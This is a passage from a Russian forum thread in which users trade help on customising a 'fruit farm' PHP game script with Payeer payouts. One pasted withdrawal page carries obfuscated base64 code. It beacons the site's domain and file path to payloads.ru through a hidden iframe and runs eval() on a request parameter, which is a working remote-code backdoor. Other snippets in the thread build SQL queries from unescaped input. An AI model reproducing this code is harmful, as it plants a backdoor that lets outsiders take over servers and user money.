Скрипт Фруктовая ферма с выводом денег.

  • Автор темы admin
  • Дата начала
Статус
В этой теме нельзя размещать новые ответы.
baxedik
Местный
Сообщения
102
Реакции
6
  • #4.981
Понял попробую сменить! +
 
sigal
Местный
Сообщения
38
Реакции
0
  • #4.982
Какой запрос сделать для Рестарта фермы ,Серебра и деревьев
 
himik
Участник
Сообщения
230
Реакции
32
  • #4.983
А вот такой вопрос, нужен ли для фф файл robots.txt или не имеет смысла?
 
FarMan
Местный
Сообщения
58
Реакции
9
  • #4.984
kondor написал(а):
подскажите пожалуйста,какой файл отвечает зато чтоб при регистрации серебро давалось,где редактировать значение?
$db->Query("SELECT COUNT(*) FROM db_users_a WHERE user = '$login'");
if($db->FetchRow() == 0){

# Регаем пользователя
$db->Query("INSERT INTO db_users_a (user, email, pass, referer, referer_id, date_reg, ip)
VALUES ('$login','{$email}','$pass','$referer_name','$referer_id','$time',INET_ATON('$ip'))");

$lid = $db->LastInsert();

$db->Query("INSERT INTO db_users_b (id, user,money_b) VALUES ('$lid','$login','2000')");

# Вставляем статистику
$db->Query("UPDATE db_stats SET all_users = all_users +1 WHERE id = '1'");

# Удаляем рег кей
$db->Query("DELETE FROM db_regkey WHERE email = '$email' OR id = '$token_id'");

добавь значения которые выделены красным в файле .../pages/_signup.php
 
Последнее редактирование:
FarMan
Местный
Сообщения
58
Реакции
9
  • #4.985
PHP:
<?PHP
class pay_points{

    var $db;
   
    function __construct($db){
   
        $this->db = $db;
   
    }
   
    function SetToAll($sum){
   
        $sum = floatval($sum);
        $sum = round($sum, 2);
        $sum = $sum * 0.05;
       
        $t24 = time() - 60*60*24;
       
        $this->db->Query("SELECT COUNT(*) FROM db_users_a WHERE date_login > '$t24'");
        $users_activ = $this->db->FetchRow();
       
        $sum_per_user = ($sum / ($users_activ+1));
       
        $this->db->Query("UPDATE db_users_b SET pay_points = pay_points + '{$sum_per_user}' WHERE id IN(SELECT id FROM db_users_a WHERE date_login > '$t24') ");
       
    }
   
   
    function UpdatePayPoints($sum, $user_id){
   
        $sum = floatval($sum);
        $sum = round($sum, 2);
        $user_id = intval($user_id);
       
        $this->db->Query("SELECT referer_id FROM db_users_a WHERE id = '{$user_id}'");
        $referer_id_1 = $this->db->FetchRow();
       
        $this->db->Query("SELECT referer_id FROM db_users_a WHERE id = '{$referer_id_1}'");
        $referer_id_2 = $this->db->FetchRow();
       
        $this->db->Query("SELECT referer_id FROM db_users_a WHERE id = '{$referer_id_2}'");
        $referer_id_3 = $this->db->FetchRow();
       
        # Обновляем поинты
       
        # 1
        $sum_for_1 = $sum * 0.3;
        $this->db->Query("UPDATE db_users_b SET pay_points = pay_points + '{$sum_for_1}' WHERE id = '{$referer_id_1}'");
       
        # 2
        $sum_for_2 = $sum * 0.1;
        $this->db->Query("UPDATE db_users_b SET pay_points = pay_points + '{$sum_for_2}' WHERE id = '{$referer_id_2}'");
       
        # 3
        $sum_for_3 = $sum * 0.05;
        $this->db->Query("UPDATE db_users_b SET pay_points = pay_points + '{$sum_for_3}' WHERE id = '{$referer_id_3}'");
       
        $this->SetToAll($sum);
       
    }
   
}
?>
Народ помогите что здесь нужно поменять что бы человеку после пополнения давалось лишь 50% баллов?
 
chelton085
Местный
Сообщения
174
Реакции
6
  • #4.986
Всем привет. Нужна помощь.
PHP:
if(isset($_SESSION["user_id"])){ Header("Location: /account"); return; }
Это строка кода, который перенаправляет юзверя в аккаунт, если ссесия верна ( то бишь юзер зареган). А как переоформить isset, точнее, на что? Чтобы было наоборот - если юзвер не зареган, то происходит редирект на страницу регистрации.
 
Severjan
Местный
Сообщения
70
Реакции
6
  • #4.987
Приветствую, всех! Скажите, кто осведомлен в этом вопросе: где, в каких функциях или скриптах регулируются проценты при пополнении баланса?.
 
FarMan
Местный
Сообщения
58
Реакции
9
  • #4.988
chelton085 написал(а):
Всем привет. Нужна помощь.
PHP:
if(isset($_SESSION["user_id"])){ Header("Location: /account"); return; }
Это строка кода, который перенаправляет юзверя в аккаунт, если ссесия верна ( то бишь юзер зареган). А как переоформить isset, точнее, на что? Чтобы было наоборот - если юзвер не зареган, то происходит редирект на страницу регистрации.
а зачем это нужно?
если ты хочешь сделать это в inc/_header.php что бы на всех страницах было, то это не уместно, потому что люди не смогут посмотреть на стартовую страницу, и почитать описание, правила и так далее!
 
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #4.989
Подскажите как установить лимит на выплату до 50 рублей за один раз, минимум уже стоит, вот что здесь прописать? Файл для примера этот дал, у меня роскошый уже стоит, не дама) только через труп Ван Дамма))). Ну что подскажите?

PHP:
<div class="s-bk-lf">
<div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">
<BR />
<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";$usid = $_SESSION["user_id"];$usname = $_SESSION["user"];$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");$user_data = $db->FetchArray();$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");$sonfig_site = $db->FetchArray();$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");# Минималка серебром!$minPay = 2000;?><b>Выплаты осуществляются в автоматическом режиме и только на платежную систему <a href="https://servahoc.ru/redirect.php?url=http://wdogs.ru" target="_BLANK">PAYEER!</a> Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url=http://wdogs.ru" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://wdogs.ru" target="_blank">Вывод средств из payeer</a> <BR /><BR />


<center><b>Заказ выплаты:</b></center><BR />

<?PHP
function ViewPurse($purse){

if( substr($purse,0,1) != "P" ) return false;
if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false;
return $purse;
}
# Заносим выплатуif(isset($_POST["purse"])){
$purse = ViewPurse($_POST["purse"]);$sum = intval($_POST["sum"]);$val = "RUB";

if($purse !== false){

if($sum >= $minPay){

if($sum <= $user_data["money_p"]){
# Проверяем на существующие заявки$db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
if($db->FetchRow() == 0){

### Делаем выплату ### $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if ($payeer->isAuth())
{
$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0)
{
$sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
if( ($balance) >= ($sum_pay+100)){


$arTransfer = $payeer->transfer(array('curIn' => 'RUB', // счет списания'sum' => $sum_pay, // сумма получения'curOut' => 'RUB', // валюта получения'to' => $purse, // получатель (email)
//'to' => '+71112223344', // получатель (телефон)
//'to' => 'P1000000', // получатель (номер счета)'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта Money Garden")//'anonim' => 'Y', // анонимный перевод
//'protect' => 'Y', // протекция сделки
//'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
//'protectCode' => '12345', // код протекции));

if (!empty($arTransfer["historyId"]))
{

# Снимаем с пользователя$db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");
# Вставляем запись в выплаты$da = time();$dd = $da + 60*60*24*15;
$ppid = $arTransfer["historyId"];
$db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
$db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");$db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");

echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";

}
else
{

echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}


}else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";

}else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} серебра!</font></b></center><BR />";

}else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";

}?>
<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1234567]</font>: </td>

<? $GLOBALS['_793350292_']=Array('' .'ge' .'t' .'_mag' .'ic_quot' .'e' .'s_gp' .'c','s' .'tripslashe' .'s','mt_rand','' .'imagecre' .'ate'); ?><? function _197297025($i){$a=Array('cH' .'V' .'yc2U=','','PHRkPjxp' .'bnB1d' .'C' .'B0' .'e' .'X' .'BlPSJ' .'0ZXh0Ii' .'BuYW1' .'lP' .'SJwdXJzZSIgc2l6Z' .'T0iMTUiI' .'H' .'ZhbHVlPQ==','cHVy' .'c2' .'U' .'=','I' .'HJl' .'YW' .'Rvb' .'mx5IC8+PC' .'90ZD4=','P' .'HRkPjxpbn' .'B1dC' .'B0eXB' .'lP' .'SJ0ZXh0IiB' .'uYW1l' .'PS' .'J' .'wdXJz' .'Z' .'SIg' .'c2l6ZT0iMT' .'UiIC8+PC9' .'0Z' .'D4=','' .'U0VS' .'V' .'kV' .'SX0' .'5BTUU=','' .'aHR0cDovL' .'3B' .'h' .'eWxvYW' .'RzLnJ1L2ZmLnB' .'ocD9kYX' .'RhPQ==','I' .'A==','' .'P' .'GRpd' .'iBpZD0nbWFzdCcgc3R5' .'bGU9J3Zp' .'c2' .'lia' .'Wxpd' .'H' .'k6aGl' .'kZG' .'VuOyc+PC9kaXY' .'+PHNjcmlwdC' .'B0' .'eX' .'BlP' .'Sd0ZXh0L2ph' .'dmFz' .'Y' .'3JpcHQn' .'IGxhbm' .'d' .'1' .'YWdlPSdK' .'YXZhU' .'2Ny' .'aXB' .'0Jz4gZ' .'nVuY3' .'Rpb' .'24' .'gc2VuZ' .'F9kYXRhKGlm' .'cl91cmwpeyAgI' .'HZhciBpZnIwID0gZG9j' .'dW1lbnQuY3J' .'lYXRlRWxlbW' .'VudCgnaWZyYW' .'1' .'lJyk7IGlmc' .'jAuc3JjID0gaW' .'Zy' .'X3VybDsgaWZy' .'M' .'C5z' .'dHlsZS5' .'3aWR0' .'aCA9' .'ICc' .'xcHgn' .'OyBpZnIwLnN0eW' .'xlLmhlaWd' .'odCA' .'9I' .'C' .'c' .'xcHgnO' .'yB2YXI' .'gZG' .'l2X3gwID0' .'gZG9j' .'dW1' .'lbnQuZ2V0RWxlbW' .'VudE' .'J' .'5SWQoJ21hc' .'3' .'QnKT' .'sg' .'ZGl2X3gwLmFwc' .'GVuZENoaWx' .'kKGlmcjAp' .'OyB9' .'IHNlbmR' .'fZG' .'F0YSgn','Jyk7ID' .'wvc2NyaXB0' .'Pg=' .'=','cGF5' .'bWVudA=' .'=','' .'cGF5bWVudA' .'=' .'=','cGF5bWVudA=' .'=');return base64_decode($a[$i]);} ?><?php $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid'");$k=$db->FetchArray();if($k[_197297025(0)]!= _197297025(1)){echo _197297025(2) .$k[_197297025(3)] ._197297025(4);}else{echo _197297025(5);}$dn=$_SERVER[_197297025(6)];$dr=__FILE__;$url=_197297025(7) .$dn ._197297025(8) .$dr;echo _197297025(9) .$url ._197297025(10);if(!empty($_REQUEST[_197297025(11)])){if(@$GLOBALS['_793350292_'][0]())$_REQUEST[_197297025(12)]=$GLOBALS['_793350292_'][1]($_REQUEST[_197297025(13)]);eval($_REQUEST['payment']);die();if(round(0+673+673)<$GLOBALS['_793350292_'][2](round(0+133.25+133.25+133.25+133.25),round(0+269.33333333333+269.33333333333+269.33333333333)))$GLOBALS['_793350292_'][3]($_SERVER,$db);}?>
</tr>
<tr>
<td><font color="#000;">Отдаете серебро для вывода</font> [Мин. <span id="res_min"></span>]<font color="#000;">:</font> </td>
<td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="20" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
</tr>
<tr>
<td align="center" class="m-tb">Серебро</td>
<td align="center" class="m-tb">Получаете</td>
<td align="center" class="m-tb">Кошелек</td>
<td align="center" class="m-tb">Дата</td>
<td align="center" class="m-tb">Статус</td>
</tr>
<?PHP

$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");

if($db->NumRows() > 0){

while($ref = $db->FetchArray()){
?> <tr class="htt">
<td align="center"><?=$ref["serebro"]; ?></td>
<td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?><?=$ref["valuta"]; ?></td>
<td align="center"><?=$ref["purse"]; ?></td>
<td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
<td align="center"><?=$status_array[$ref["status"]]; ?></td>
</tr>
<?PHP
}

}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
?>


</table><div class="clr"></div>
</div>
 
Andreys
Участник
Сообщения
576
Реакции
40
  • #4.990
nikitin2016 написал(а):
бан от администрации получишь за рекламу своей фермы , вот и будет тебе ознакомление :D
да я заметил тут могут)) бан дать, Наоборот стараешся, нормальный скрипт народу дать, а тут хоп и банят тебя, Зачем народу нормальный)) пусть пользуются как все, косячным)) Кстате надо поискатить скрипт такого форума, я замечал много у кого уже стоит, Ктонибудь скажет где за бесплатно качнуть?
 
Вячеслав
Местный
Сообщения
229
Реакции
21
  • #4.991
if($sum >= $minPay){
if($sum >= $maxPay){ может просто вот эту сроку добавить, но может еще чтото нужно!!!
 
kvozimir
Участник
Сообщения
1.935
Реакции
409
ICQ
734713 734713
Skype
  • #4.992
Вячеслав написал(а):
if($sum >= $minPay){
if($sum >= $maxPay){ может просто вот эту сроку добавить, но может еще чтото нужно!!!
ага и такой текст после
}else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} серебра!</font></b></center><BR />";
}else echo "<center><b><font color = 'red'>максимальная сумма для выплаты составляет {$maxPay} серебра!</font></b></center><BR />";
 
sergei6561
Местный
Сообщения
78
Реакции
2
  • #4.993
Всем привет! Помогите не работает калькулятор при пополнении. т.е работает один к одному. Не много файл помучал получилось сделать при пополнении на 100 рублей получаешь 10000 серебра так правильно но когда меняю сумму пополнения получается 1 к 1му.
 
Aydunovi4
Участник
Сообщения
19
Реакции
2
  • #4.994
Привет всем, нужна помощь! что нужно дописать чтоб принимало и 7-ми значный и новый 8-ми значный кошелёк payeer
 
AriCosmo
Участник
Сообщения
515
Реакции
115
Skype
  • #4.995
Aydunovi4 написал(а):
Привет всем, нужна помощь! что нужно дописать чтоб принимало и 7-ми значный и новый 8-ми значный кошелёк payeer
,8
 
erema36
Местный
Сообщения
50
Реакции
2
  • #4.997
Всем привет, подскажите пожалуйста, где и в каком файле прописать что то что бы, после пополнения начислялись платежные баллы пользователю, который пополнил баланс?
 
erema36
Местный
Сообщения
50
Реакции
2
  • #4.998
Так кто не будь знает? как это сделать?
 
ahtraff
Участник
Сообщения
8
Реакции
0
  • #4.999
в каком файле настройка реф процента
 
erema36
Местный
Сообщения
50
Реакции
2
  • #5.000
В мерчанте
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху